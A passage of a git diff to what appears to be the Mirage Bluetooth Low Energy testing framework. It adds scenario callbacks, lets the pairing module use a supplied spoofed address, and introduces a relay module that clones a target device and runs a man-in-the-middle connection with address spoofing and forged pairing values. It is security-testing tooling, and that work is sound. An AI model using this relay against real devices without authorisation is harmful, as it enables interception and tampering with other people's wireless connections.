slaveLLClockAccuracyRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyRsp") + # def masterLLClockAccuracyRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISReq") + # def slaveLLCISReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISReq") + # def masterLLCISReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISRsp") + # def slaveLLCISRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISRsp") + # def masterLLCISRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISInd") + # def slaveLLCISInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISInd") + # def masterLLCISInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISTerminateInd") + # def slaveLLCISTerminateInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISTerminateInd") + # def masterLLCISTerminateInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlReq") + # def slaveLLPowerControlReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlReq") + # def masterLLPowerControlReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlRsp") + # def slaveLLPowerControlRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlRsp") + # def masterLLPowerControlRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLChangeInd") + # def slaveLLChangeInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLChangeInd") + # def masterLLChangeInd(self, packet): + # io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLEncCtrl") + def masterLLEncCtrl(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLEncCtrl") + def slaveLLEncCtrl(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLEncData") + def masterLLEncData(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLEncData") + def slaveLLEncData(self, packet): + io.info("Slave: " + packet.toString()) + + def registerSlaveEvents(self): + + # Advertisement callbacks + self.a2sReceiver.onEvent("BLEAdvertisement", callback=self.slaveAdvertisement) + + # Connect Callbacks + self.a2sReceiver.onEvent( + "BLEConnectResponse", callback=self.slaveConnectionComplete + ) + + # Disconnect Callbacks + self.a2sReceiver.onEvent("BLEDisconnect", callback=self.slaveDisconnect) + + # Error Callback + self.a2sReceiver.onEvent("BLEErrorResponse", callback=self.errorResponse) + + # Write Callbacks + self.a2sReceiver.onEvent("BLEWriteResponse", callback=self.writeResponse) + + # Read Callbacks + self.a2sReceiver.onEvent("BLEReadResponse", callback=self.readResponse) + self.a2sReceiver.onEvent("BLEReadBlobResponse", callback=self.readBlobResponse) + + # Notification Callback + self.a2sReceiver.onEvent( + "BLEHandleValueNotification", callback=self.notification + ) + self.a2sReceiver.onEvent("BLEHandleValueIndication", callback=self.indication) + + # Find Information Callbacks + self.a2sReceiver.onEvent( + "BLEFindInformationResponse", callback=self.findInformationResponse + ) + + # Find Type Value Callbacks + self.a2sReceiver.onEvent( + "BLEFindByTypeValueResponse", callback=self.findByTypeValueResponse + ) + + # Read By Callbacks + self.a2sReceiver.onEvent("BLEReadByTypeRequest", callback=self.slaveReadByType) + self.a2sReceiver.onEvent( + "BLEReadByTypeResponse", callback=self.readByTypeResponse + ) + self.a2sReceiver.onEvent( + "BLEReadByGroupTypeResponse", callback=self.readByGroupTypeResponse + ) + + # MTU Callbacks + self.a2sReceiver.onEvent( + "BLEExchangeMTURequest", callback=self.slaveExchangeMtuRequest + ) + self.a2sReceiver.onEvent( + "BLEExchangeMTUResponse", callback=self.slaveExchangeMtuResponse + ) + + # Connection Parameter Update Callbacks + self.a2sReceiver.onEvent( + "BLEConnectionParameterUpdateRequest", + callback=self.slaveConnectionParameterUpdateRequest, + ) + + # Security Manager Callbacks + self.a2sReceiver.onEvent("BLEPairingResponse", callback=self.pairingResponse) + self.a2sReceiver.onEvent("BLESecurityRequest", callback=self.securityRequest) + self.a2sReceiver.onEvent("BLEPairingConfirm", callback=self.slavePairingConfirm) + self.a2sReceiver.onEvent("BLEPairingRandom", callback=self.slavePairingRandom) + self.a2sReceiver.onEvent("BLEPairingFailed", callback=self.slavePairingFailed) + + self.a2sReceiver.onEvent( + "BLEEncryptionInformation", callback=self.slaveEncryptionInformation + ) + self.a2sReceiver.onEvent( + "BLEMasterIdentification", callback=self.slaveMasterIdentification + ) + self.a2sReceiver.onEvent( + "BLEIdentityInformation", callback=self.slaveIdentityInformation + ) + self.a2sReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.slaveIdentityAddressInformation, + ) + self.a2sReceiver.onEvent( + "BLESigningInformation", callback=self.slaveSigningInformation + ) + + self.a2sReceiver.onEvent("BLEPublicKey", callback=self.slavePublicKey) + + self.a2sReceiver.onEvent("BLEDHKeyCheck", callback=self.slaveDHKeyCheck) + + # HCI callbacks + self.a2sReceiver.onEvent( + "BLEEncryptionChange", callback=self.slaveEncryptionChange + ) + + # LL Callbacks + self.a2sReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.slaveLLConnUpdateInd + ) + self.a2sReceiver.onEvent("BLELLChanMapInd", callback=self.slaveLLChannelMapInd) + self.a2sReceiver.onEvent("BLELLTerminateInd", callback=self.slaveLLTerminateInd) + + self.a2sReceiver.onEvent("BLELLEncRsp", callback=self.slaveLLEncRsp) + + self.a2sReceiver.onEvent("BLELLStartEncReq", callback=self.slaveLLStartEncReq) + + self.a2sReceiver.onEvent("BLELLUnknownRsp", callback=self.slaveLLUnknownRsp) + + self.a2sReceiver.onEvent("BLELLFeatureReq", callback=self.slaveLLFeatureReq) + + self.a2sReceiver.onEvent("BLELLFeatureRsp", callback=self.slaveLLFeatureRsp) + + self.a2sReceiver.onEvent("BLELLPauseEncRsp", callback=self.slaveLLPauseEncRsp) + + self.a2sReceiver.onEvent("BLELLVersionInd", callback=self.slaveLLVersionInd) + + self.a2sReceiver.onEvent("BLELLRejectInd", callback=self.slaveLLRejectInd) + + self.a2sReceiver.onEvent( + "BLELLSlaveFeatureReq", callback=self.slaveLLSlaveFeatureReq + ) + + self.a2sReceiver.onEvent("BLELLConnParamReq", callback=self.slaveLLConnParamReq) + + self.a2sReceiver.onEvent("BLELLConnParamRsp", callback=self.slaveLLConnParamRsp) + + self.a2sReceiver.onEvent("BLELLRejectExtInd", callback=self.slaveLLRejectExtInd) + + self.a2sReceiver.onEvent("BLELLPingReq", callback=self.slaveLLPingReq) + + self.a2sReceiver.onEvent("BLELLPingRsp", callback=self.slaveLLPingRsp) + + self.a2sReceiver.onEvent("BLELLDataLenReq", callback=self.slaveLLLengthReq) + + self.a2sReceiver.onEvent("BLELLDataLenRsp", callback=self.slaveLLLengthRsp) + + self.a2sReceiver.onEvent("BLELLPhyReq", callback=self.slaveLLPhyReq) + + self.a2sReceiver.onEvent("BLELLPhyRsp", callback=self.slaveLLPhyRsp) + + self.a2sReceiver.onEvent("BLELLUpdPHYInd", callback=self.slaveLLPhyUpdateInd) + + self.a2sReceiver.onEvent( + "BLELLMinUsedChann", callback=self.slaveLLMinUsedChannelsInd + ) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # self.a2sReceiver.onEvent("BLELLCTEReq", callback=self.slaveLLCTEReq) + + # self.a2sReceiver.onEvent("BLELLCTERsp", callback=self.slaveLLCTERsp) + + # self.a2sReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.slaveLLPeriodicSyncInd) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyReq", callback=self.slaveLLClockAccuracyReq) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.slaveLLClockAccuracyRsp) + + # self.a2sReceiver.onEvent("BLELLCISReq", callback=self.slaveLLCISReq) + + # self.a2sReceiver.onEvent("BLELLCISRsp", callback=self.slaveLLCISRsp) + + # self.a2sReceiver.onEvent("BLELLCISInd", callback=self.slaveLLCISInd) + + # self.a2sReceiver.onEvent("BLELLCISTerminateInd", callback=self.slaveLLCISTerminateInd) + + # self.a2sReceiver.onEvent("BLELLPowerControlReq", callback=self.slaveLLPowerControlReq) + + # self.a2sReceiver.onEvent("BLELLPowerControlRsp", callback=self.slaveLLPowerControlRsp) + + # self.a2sReceiver.onEvent("BLELLChangeInd", callback=self.slaveLLChangeInd) + + self.a2sReceiver.onEvent("BLELLEncCtrl", callback=self.slaveLLEncCtrl) + + self.a2sReceiver.onEvent("BLELLEncData", callback=self.slaveLLEncData) + + def registerMasterEvents(self): + + # Connect Callbacks + self.a2mReceiver.onEvent( + "BLEConnectResponse", callback=self.masterCreateConnection + ) + + # Disconnect Callbacks + self.a2mReceiver.onEvent("BLEDisconnect", callback=self.masterDisconnect) + + # Write Callbacks + self.a2mReceiver.onEvent("BLEWriteCommand", callback=self.writeCommand) + self.a2mReceiver.onEvent("BLEWriteRequest", callback=self.writeRequest) + + # Read Callbacks + self.a2mReceiver.onEvent("BLEReadRequest", callback=self.read) + self.a2mReceiver.onEvent("BLEReadBlobRequest", callback=self.readBlob) + + # Notification Callback + self.a2mReceiver.onEvent( + "BLEHandleValueConfirmation", callback=self.confirmation + ) + + # Find Information Callbacks + self.a2mReceiver.onEvent( + "BLEFindInformationRequest", callback=self.findInformation + ) + + # Find Type Value Callbacks + self.a2mReceiver.onEvent( + "BLEFindByTypeValueRequest", callback=self.findByTypeValueRequest + ) + + # Read By Callbacks + self.a2mReceiver.onEvent("BLEReadByTypeRequest", callback=self.masterReadByType) + self.a2mReceiver.onEvent( + "BLEReadByGroupTypeRequest", callback=self.readByGroupType + ) + + # MTU Callbacks + self.a2mReceiver.onEvent( + "BLEExchangeMTURequest", callback=self.masterExchangeMtuRequest + ) + self.a2mReceiver.onEvent( + "BLEExchangeMTUResponse", callback=self.masterExchangeMtuResponse + ) + + # Connection Parameter Update Callbacks + self.a2mReceiver.onEvent( + "BLEConnectionParameterUpdateResponse", + callback=self.masterConnectionParameterUpdateResponse, + ) + + # Security Manager Callbacks + self.a2mReceiver.onEvent("BLEPairingRequest", callback=self.pairingRequest) + self.a2mReceiver.onEvent( + "BLEPairingConfirm", callback=self.masterPairingConfirm + ) + self.a2mReceiver.onEvent("BLEPairingRandom", callback=self.masterPairingRandom) + self.a2mReceiver.onEvent("BLEPairingFailed", callback=self.masterPairingFailed) + + self.a2mReceiver.onEvent( + "BLEEncryptionInformation", callback=self.masterEncryptionInformation + ) + self.a2mReceiver.onEvent( + "BLEMasterIdentification", callback=self.masterMasterIdentification + ) + self.a2mReceiver.onEvent( + "BLEIdentityInformation", callback=self.masterIdentityInformation + ) + self.a2mReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.masterIdentityAddressInformation, + ) + self.a2mReceiver.onEvent( + "BLESigningInformation", callback=self.masterSigningInformation + ) + + self.a2mReceiver.onEvent("BLEPublicKey", callback=self.masterPublicKey) + + self.a2mReceiver.onEvent("BLEDHKeyCheck", callback=self.masterDHKeyCheck) + + self.a2mReceiver.onEvent( + "BLELongTermKeyRequest", callback=self.masterLongTermKeyRequest + ) + + # HCI callbacks + self.a2mReceiver.onEvent( + "BLEEncryptionChange", callback=self.masterEncryptionChange + ) + + # LL Callbacks + self.a2mReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.masterLLConnUpdateInd + ) + self.a2mReceiver.onEvent("BLELLChanMapInd", callback=self.masterLLChannelMapInd) + self.a2mReceiver.onEvent( + "BLELLTerminateInd", callback=self.masterLLTerminateInd + ) + + self.a2mReceiver.onEvent("BLELLEncReq", callback=self.masterLLEncReq) + + self.a2mReceiver.onEvent("BLELLUnknownRsp", callback=self.masterLLUnknownRsp) + + self.a2mReceiver.onEvent("BLELLFeatureReq", callback=self.masterLLFeatureReq) + + self.a2mReceiver.onEvent("BLELLFeatureRsp", callback=self.masterLLFeatureRsp) + + self.a2mReceiver.onEvent("BLELLPauseEncReq", callback=self.masterLLPauseEncReq) + + self.a2mReceiver.onEvent("BLELLPauseEncRsp", callback=self.masterLLPauseEncRsp) + + self.a2mReceiver.onEvent("BLELLVersionInd", callback=self.masterLLVersionInd) + + self.a2mReceiver.onEvent("BLELLRejectInd", callback=self.masterLLRejectInd) + + self.a2mReceiver.onEvent( + "BLELLConnParamReq", callback=self.masterLLConnParamReq + ) + self.a2mReceiver.onEvent( + "BLELLConnParamRsp", callback=self.masterLLConnParamRsp + ) + + self.a2mReceiver.onEvent( + "BLELLRejectExtInd", callback=self.masterLLRejectExtInd + ) + + self.a2mReceiver.onEvent("BLELLPingReq", callback=self.masterLLPingReq) + + self.a2mReceiver.onEvent("BLELLPingRsp", callback=self.masterLLPingRsp) + + self.a2mReceiver.onEvent("BLELLDataLenReq", callback=self.masterLLLengthReq) + + self.a2mReceiver.onEvent("BLELLDataLenRsp", callback=self.masterLLLengthRsp) + + self.a2mReceiver.onEvent("BLELLPhyReq", callback=self.masterLLPhyReq) + + self.a2mReceiver.onEvent("BLELLPhyRsp", callback=self.masterLLPhyRsp) + + self.a2mReceiver.onEvent("BLELLUpdPHYInd", callback=self.masterLLPhyUpdateInd) + + self.a2mReceiver.onEvent( + "BLELLMinUsedChann", callback=self.masterLLMinUsedChannelsInd + ) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # self.a2mReceiver.onEvent("BLELLCTEReq", callback=self.masterLLCTEReq) + + # self.a2mReceiver.onEvent("BLELLCTERsp", callback=self.masterLLCTERsp) + + # self.a2mReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.masterLLPeriodicSyncInd) + + # self.a2mReceiver.onEvent("BLELLClockAccuracyReq", callback=self.masterLLClockAccuracyReq) + + # self.a2mReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.masterLLClockAccuracyRsp) + + # self.a2mReceiver.onEvent("BLELLCISReq", callback=self.masterLLCISReq) + + # self.a2mReceiver.onEvent("BLELLCISRsp", callback=self.masterLLCISRsp) + + # self.a2mReceiver.onEvent("BLELLCISInd", callback=self.masterLLCISInd) + + # self.a2mReceiver.onEvent("BLELLCISTerminateInd", callback=self.masterLLCISTerminateInd) + + # self.a2mReceiver.onEvent("BLELLPowerControlReq", callback=self.masterLLPowerControlReq) + + # self.a2mReceiver.onEvent("BLELLPowerControlRsp", callback=self.masterLLPowerControlRsp) + + # self.a2mReceiver.onEvent("BLELLChangeInd", callback=self.masterLLChangeInd) + + self.a2mReceiver.onEvent("BLELLEncCtrl", callback=self.masterLLEncCtrl) + + self.a2mReceiver.onEvent("BLELLEncData", callback=self.masterLLEncData) + + def registerEvents(self): + self.registerSlaveEvents() + if self.args["INTERFACE2"] != "": + self.registerMasterEvents() + + def run(self): + + self.initEmittersAndReceivers() + + if self.args["INTERFACE2"] != "": + self.a2mReceiver.storeCallbacks() + self.a2sReceiver.storeCallbacks() + + if self.checkSlaveEmitterCapabilities() and ( + self.args["INTERFACE2"] == "" or self.checkMasterEmitterCapabilities() + ): + self.registerEvents() + + if not self.loadScenario(): + io.warning("This module makes no sense without scenario!") + return self.nok() + + io.info("Scenario loaded !") + self.setStage(self.BLEStage.IDLE) + + self.startScenario() + + self.waitUntilStage(self.BLEStage.STOP) + + if self.args["INTERFACE2"] != "": + self.a2mReceiver.restoreCallbacks() + self.a2sReceiver.restoreCallbacks() + # Clean up connections + if self.args["INTERFACE2"] != "": + if self.a2mEmitter.isConnected(): + self.a2mEmitter.sendp(ble.BLEDisconnect()) + while self.a2mEmitter.isConnected(): + utils.wait(seconds=0.01) + + if self.a2sEmitter.isConnected(): + self.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + # Reset public address + if self.args["INTERFACE2"] != "": + self.a2mEmitter.setAddress("00:00:00:00:00", random=False) + self.a2sEmitter.setAddress("00:00:00:00:00", random=False) + + moduleResult = {} + scenarioResult = self.endScenario({}) + io.info("{}".format(scenarioResult)) + moduleResult["scenarioResult"] = scenarioResult + return self.ok(moduleResult) + else: + io.fail( + "Interfaces provided (" + + str(self.args["INTERFACE1"]) + + str(self.args["INTERFACE2"]) + + ") are not able to run this module." + ) + return self.nok() diff --git a/mirage/modules/ble_pair.py b/mirage/modules/ble_pair.py index 65a218b..c1bdc85 100644 --- a/mirage/modules/ble_pair.py +++ b/mirage/modules/ble_pair.py @@ -56,13 +56,15 @@ def init(self): self.failure = False + self.pairingMethod = None + def pinToTemporaryKey(self,pin): hexn = hex(pin)[2:] tk = bytes.fromhex((32-len(hexn))*"0"+hexn) return tk def keyGeneration(self,size=16): - return os.urandom(size) + return urandom(size) def pairingMethodSelection(self): self.secureConnections = self.responderAuthReq.secureConnections and self.initiatorAuthReq.secureConnections @@ -138,8 +140,9 @@ def slaveSecurityRequest(self,pkt): def slavePairingResponse(self,pkt): - self.initiatorAddress = self.emitter.getAddress() - self.initiatorAddressType = b"\x00" if self.emitter.getAddressMode() == "public" else b"\x01" + self.initiatorAddress = self.args["ADDR"] if self.args["ADDR"]!="" else self.emitter.getAddress() + self.initiatorAddressType = b"\x00" if self.args["ADDR_TYPE"] == "public" else b"\x01" + self.responderAddress = self.emitter.getCurrentConnection() self.responderAddressType = b"\x00" if self.emitter.getCurrentConnectionMode() == "public" else b"\x01" @@ -151,11 +154,11 @@ def slavePairingResponse(self,pkt): self.responderInputOutputCapability = ble.InputOutputCapability(data = bytes([pkt.inputOutputCapability])) self.responderKeyDistribution = ble.KeyDistributionFlag(data=bytes([pkt.responderKeyDistribution])) pairingMethod = self.pairingMethodSelection() - io.success("Pairing Method selected : "+self.pairingMethod) + io.info("Pairing Method selected : "+self.pairingMethod) self.mRand = ble.BLECrypto.generateRandom() - io.success("Generating random : "+self.mRand.hex()) + io.info("Generating random : "+self.mRand.hex()) if pairingMethod == "JustWorks": pinCode = 0 @@ -166,8 +169,7 @@ def slavePairingResponse(self,pkt): pinCode = int(io.enterPinCode("Enter the 6 digit PIN code: ")) self.tk = self.pinToTemporaryKey(pinCode) - io.success("Generating Temporary Key : "+self.tk.hex()) - + io.info("Generating Temporary Key : "+self.tk.hex()) self.mConfirm = ble.BLECrypto.c1( self.tk, self.mRand[::-1], self.pReq, @@ -176,7 +178,7 @@ def slavePairingResponse(self,pkt): self.initiatorAddress, self.responderAddressType, self.responderAddress) - io.success("Generating MConfirm : "+self.mConfirm.hex()) + io.info("Generating MConfirm : "+self.mConfirm.hex()) confirmPacket = ble.BLEPairingConfirm(confirm=self.mConfirm[::-1]) confirmPacket.show() self.emitter.sendp(confirmPacket) @@ -200,12 +202,15 @@ def slavePairingRandom(self,pkt): self.responderAddressType, self.responderAddress) if self.sConfirm == sConfirm: - io.success("Confirm Value correct !") + io.info("Confirm Value correct !") self.stk = ble.BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) - io.success("Generating Short Term Key (STK): "+self.stk.hex()) + io.info("Generating Short Term Key (STK): "+self.stk.hex()) self.encrypted = self.emitter.encryptLink(ltk=self.stk[::-1]) if self.encrypted: io.success("Encryption enabled !") + io.info("{}".format(self.responderKeyDistribution.data)) + if self.responderKeyDistribution.data == b"\x00": + self.finished = True else: io.fail("Encryption not enabled !") else: @@ -249,29 +254,29 @@ def pairingFailed(self,pkt): def slavePairingFailed(self,pkt): self.failure = True - io.fail("Pairing Failed received : "+str(pkt)) + io.fail("Pairing Failed received : " + pkt.toString()) self.pairingFailed(pkt) def encryptionInformation(self,pkt): pkt.show() - io.success("Long Term Key (LTK) received : "+pkt.ltk[::-1].hex()) + io.info("Long Term Key (LTK) received : "+pkt.ltk[::-1].hex()) def masterIdentification(self,pkt): pkt.show() - io.success("EDIV and RAND received : "+hex(pkt.ediv)+" / "+pkt.rand.hex()) + io.info("EDIV and RAND received : "+hex(pkt.ediv)+" / "+pkt.rand.hex()) def identityAddressInformation(self,pkt): pkt.show() - io.success("Address received : "+str(pkt.address)+" ("+pkt.type+")") + io.info("Address received : "+str(pkt.address)+" ("+pkt.type+")") def identityInformation(self,pkt): pkt.show() - io.success("IRK received : "+pkt.irk[::-1].hex()) + io.info("IRK received : "+pkt.irk[::-1].hex()) def signingInformation(self,pkt): pkt.show() - io.success("CSRK received : "+pkt.csrk[::-1].hex()) + io.info("CSRK received : "+pkt.csrk[::-1].hex()) def masterEncryptionInformation(self,pkt): @@ -319,8 +324,8 @@ def slaveSigningInformation(self,pkt): def masterPairingRequest(self,pkt): self.initiatorAddress = self.emitter.getCurrentConnection() self.initiatorAddressType = b"\x00" if self.emitter.getCurrentConnectionMode() == "public" else b"\x01" - self.responderAddress = self.emitter.getAddress() - self.responderAddressType = b"\x00" if self.emitter.getAddressMode() == "public" else b"\x01" + self.responderAddress = self.args["ADDR"] if self.args["ADDR"]!="" else self.emitter.getAddress() + self.responderAddressType = b"\x00" if self.args["ADDR_TYPE"] == "public" else b"\x01" pkt.show() self.pairingRequest = pkt @@ -359,8 +364,8 @@ def masterPairingRequest(self,pkt): ) self.pairingResponse.show() self.pRes = self.pairingResponse.payload[::-1] - pairingMethod = self.pairingMethodSelection() - io.success("Pairing Method selected : "+self.pairingMethod) + self.pairingMethod = self.pairingMethodSelection() + io.info("Pairing Method selected : "+self.pairingMethod) self.emitter.sendp(self.pairingResponse) def masterPairingConfirm(self,pkt): @@ -368,7 +373,7 @@ def masterPairingConfirm(self,pkt): self.mConfirm = pkt.confirm[::-1] self.sRand = ble.BLECrypto.generateRandom() - io.success("Generating random : "+self.sRand.hex()) + io.info("Generating random : "+self.sRand.hex()) if self.pairingMethod == "JustWorks": pinCode = 0 @@ -380,7 +385,7 @@ def masterPairingConfirm(self,pkt): self.tk = self.pinToTemporaryKey(pinCode) - io.success("Generating Temporary Key : "+self.tk.hex()) + io.info("Generating Temporary Key : "+self.tk.hex()) self.sConfirm = ble.BLECrypto.c1( self.tk, @@ -392,7 +397,7 @@ def masterPairingConfirm(self,pkt): self.responderAddressType, self.responderAddress) - io.success("Generating SConfirm : "+self.sConfirm.hex()) + io.info("Generating SConfirm : "+self.sConfirm.hex()) confirmPacket = ble.BLEPairingConfirm(confirm=self.sConfirm[::-1]) confirmPacket.show() self.emitter.sendp(confirmPacket) @@ -413,16 +418,16 @@ def masterPairingRandom(self,pkt): self.responderAddressType, self.responderAddress) if self.mConfirm == mConfirm: - io.success("Confirm Value correct !") + io.info("Confirm Value correct !") self.stk = ble.BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) - io.success("Generating Short Term Key (STK): "+self.stk.hex()) + io.info("Generating Short Term Key (STK): "+self.stk.hex()) else: io.fail("Confirm value failed ! Terminating ...") self.failure = True def masterPairingFailed(self,pkt): self.failure = True - io.fail("Pairing Failed received : "+str(pkt)) + io.fail("Pairing Failed received : " + pkt.toString()) self.pairingFailed(pkt) @@ -440,7 +445,7 @@ def keyDistribution(self,type="initiator"): ediv=utils.integerArg(self.args["EDIV"]), rand=bytes.fromhex(self.args["RAND"]) )) - io.success("Sent !") + io.info("Sent !") if keyDistribution.idKey: io.info("Sending IRK...") self.emitter.sendp(ble.BLEIdentityInformation(irk=bytes.fromhex(self.args["IRK"])[::-1])) @@ -448,12 +453,12 @@ def keyDistribution(self,type="initiator"): address=utils.addressArg(self.args["ADDR"]), type=self.args["ADDR_TYPE"].lower() )) - io.success("Sent !") + io.info("Sent !") if keyDistribution.signKey: io.info("Sending CSRK...") self.emitter.sendp(ble.BLESigningInformation(csrk=bytes.fromhex(self.args["CSRK"])[::-1])) - io.success("Sent !") + io.info("Sent !") def masterLongTermKeyRequest(self,pkt): pkt.show() @@ -472,7 +477,6 @@ def run(self): interface = self.args["INTERFACE"] self.emitter = self.getEmitter(interface=interface) self.receiver = self.getReceiver(interface=interface) - if not self.emitter.isConnected() and utils.booleanArg(self.args["ACTIVE"]): io.fail("A connection must be established.") return self.nok() @@ -528,7 +532,7 @@ def run(self): if self.failure: return self.nok() - return self.ok() + return self.ok({"PAIRING_METHOD":self.pairingMethod}) else: self.receiver.onEvent("BLEPairingRequest", callback=self.masterPairingRequest) @@ -557,4 +561,4 @@ def run(self): securityRequest.show() self.emitter.sendp(securityRequest) - return self.ok({"INTERFACE":self.args["INTERFACE"]}) + return self.ok({"INTERFACE":self.args["INTERFACE"],"PAIRING_METHOD":self.pairingMethod}) diff --git a/mirage/modules/ble_relay.py b/mirage/modules/ble_relay.py new file mode 100644 index 0000000..874ea4c --- /dev/null +++ b/mirage/modules/ble_relay.py @@ -0,0 +1,1751 @@ +import os +from enum import IntEnum +from mirage.libs import utils, ble +from mirage.core import module +from mirage.libs.ble_utils.packets import * +from mirage.libs import io +from mirage.libs.ble_utils.constants import LL_ERROR_CODES as errorCode + + +class ble_relay(module.WirelessModule): + class BLEMitmStage(IntEnum): + SCAN = 1 + CLONE = 2 + WAIT_CONNECTION = 3 + ACTIVE_MITM = 4 + STOP = 5 + + class ScenarioResult(IntEnum): + VULN = 0 + MAYBE = 1 + NOT = 2 + + def printScenarioStart(self, name): + name = "Start Scenario {}".format(name) + border = "=" * int((100 - len(name)) / 2) + title = border + name + border + io.success(title) + + def printScenarioEnd(self, result): + resultText1 = "Scenario finished {}".format( + "successful" if result["finished"] else "with failure", result["success"] + ) + border = "=" * 100 + io.success(border) + if result["finished"]: + io.success(resultText1) + else: + io.fail(resultText1) + if result["finished"]: + resultText2 = "Device is {}{}".format( + "maybe " if result["success"] == self.ScenarioResult.MAYBE else "", + "vulnerable" + if result["success"] != self.ScenarioResult.NOT + else "not vulnerable", + ) + if result["success"] == self.ScenarioResult.VULN: + io.fail(resultText2) + elif result["success"] == self.ScenarioResult.MAYBE: + io.warning(resultText2) + else: + io.success(resultText2) + io.success(border) + + def checkCapabilities(self): + a2scap = self.a2sEmitter.hasCapabilities( + "COMMUNICATING_AS_MASTER", "INITIATING_CONNECTION", "SCANNING" + ) + a2mcap = self.a2mEmitter.hasCapabilities( + "COMMUNICATING_AS_SLAVE", "RECEIVING_CONNECTION", "ADVERTISING" + ) + return a2scap and a2mcap + + def init(self): + self.technology = "ble" + self.type = "analysis" + self.description = "The module offers the possibility to analyse a ble connection without manipulating it. Without any szenario loaded it act as a proxy." + self.args = { + "INTERFACE1": "hci0", + "INTERFACE2": "hci1", + "TARGET": "12:34:56:78:90:FF", + "CONNECTION_TYPE": "public", + "SLAVE_SPOOFING": "yes", + "MASTER_SPOOFING": "yes", + "ADVERTISING_STRATEGY": "preconnect", # "preconnect" (btlejuice) or "flood" (gattacker) + "SHOW_SCANNING": "yes", + "SCENARIO": "", + } + self.stage = self.BLEMitmStage.SCAN + + # Send ENC_REQ/RSP and ENC_START_RSP only once + self.enc_req = False + self.enc_rsp = False + self.start_enc_req = False + + # Save to know when to quit + self.master_start_enc_rsp = False + self.slave_start_enc_rsp = False + + # Save payload, sn and nesn to determine if encrpyted data/ctrl packet has already been send + self.master_enc_ctrl_sn = -1 + self.master_enc_ctrl_nesn = -1 + self.master_enc_ctrl_payload = b"" + self.master_enc_data_sn = -1 + self.master_enc_data_nesn = -1 + self.master_enc_data_payload = b"" + self.slave_enc_ctrl_sn = -1 + self.slave_enc_ctrl_nesn = -1 + self.slave_enc_ctrl_payload = b"" + self.slave_enc_data_sn = -1 + self.slave_enc_data_nesn = -1 + self.slave_enc_data_payload = b"" + + # To save connection params from ConnectionParameterRequest from initial slave connection + # for later use + self.slave_timeout = 0 + self.slave_latency = 0 + self.slave_minInterval = 0 + self.slave_maxInterval = 0 + self.slave_minCe = 0 + self.slave_maxCe = 0 + + # Security Manager related + self.pReq = None + self.pRes = None + self.initiatorAddress = None + self.initiatorAddressType = None + self.responderAddress = None + self.responderAddressType = None + self.mRand = None + self.mConfirm = None + self.sRand = None + self.sConfirm = None + self.forgedmRand = None + self.forgedsRand = None + self.temporaryKey = None + + # CLONE stage related + self.addrType = None + self.address = None + self.intervalMin = None + self.intervalMax = None + self.dataAdvInd = None + self.dataScanRsp = None + + # Values from UpdateConnectionParametersRequest + self.timeoutMult = None + self.slaveLatency = None + self.minInterval = None + self.maxInterval = None + + # Scenario-related methods + @module.scenarioSignal("onStart") + def startScenario(self): + pass + + @module.scenarioSignal("onEnd") + def endScenario(self, result): + return result + + # Configuration methods + def initEmittersAndReceivers(self): + attackerToSlaveInterface = self.args["INTERFACE1"] + attackerToMasterInterface = self.args["INTERFACE2"] + + self.a2sEmitter = self.getEmitter(interface=attackerToSlaveInterface) + self.a2sReceiver = self.getReceiver(interface=attackerToSlaveInterface) + + self.a2mEmitter = self.getEmitter(interface=attackerToMasterInterface) + self.a2mReceiver = self.getReceiver(interface=attackerToMasterInterface) + + if not self.a2mEmitter.isAddressChangeable() and utils.booleanArg( + self.args["SLAVE_SPOOFING"] + ): + io.warning( + "Interface " + + attackerToMasterInterface + + " is not able to change its address : " + "Address spoofing will not be enabled !" + ) + + # Stage related methods + def getStage(self): + return self.stage + + @module.scenarioSignal("onStageChange") + def setStage(self, value): + self.stage = value + + def waitUntilStage(self, stage): + while self.getStage() != stage: + utils.wait(seconds=0.01) + + # Advertising related methods + @module.scenarioSignal("onSlaveAdvertisement") + def scanStage(self, packet): + if utils.booleanArg(self.args["SHOW_SCANNING"]): + packet.show() + if self.getStage() == self.BLEMitmStage.SCAN: + if utils.addressArg(self.args["TARGET"]) == packet.addr.upper(): + if packet.type == "ADV_IND": + self.address = 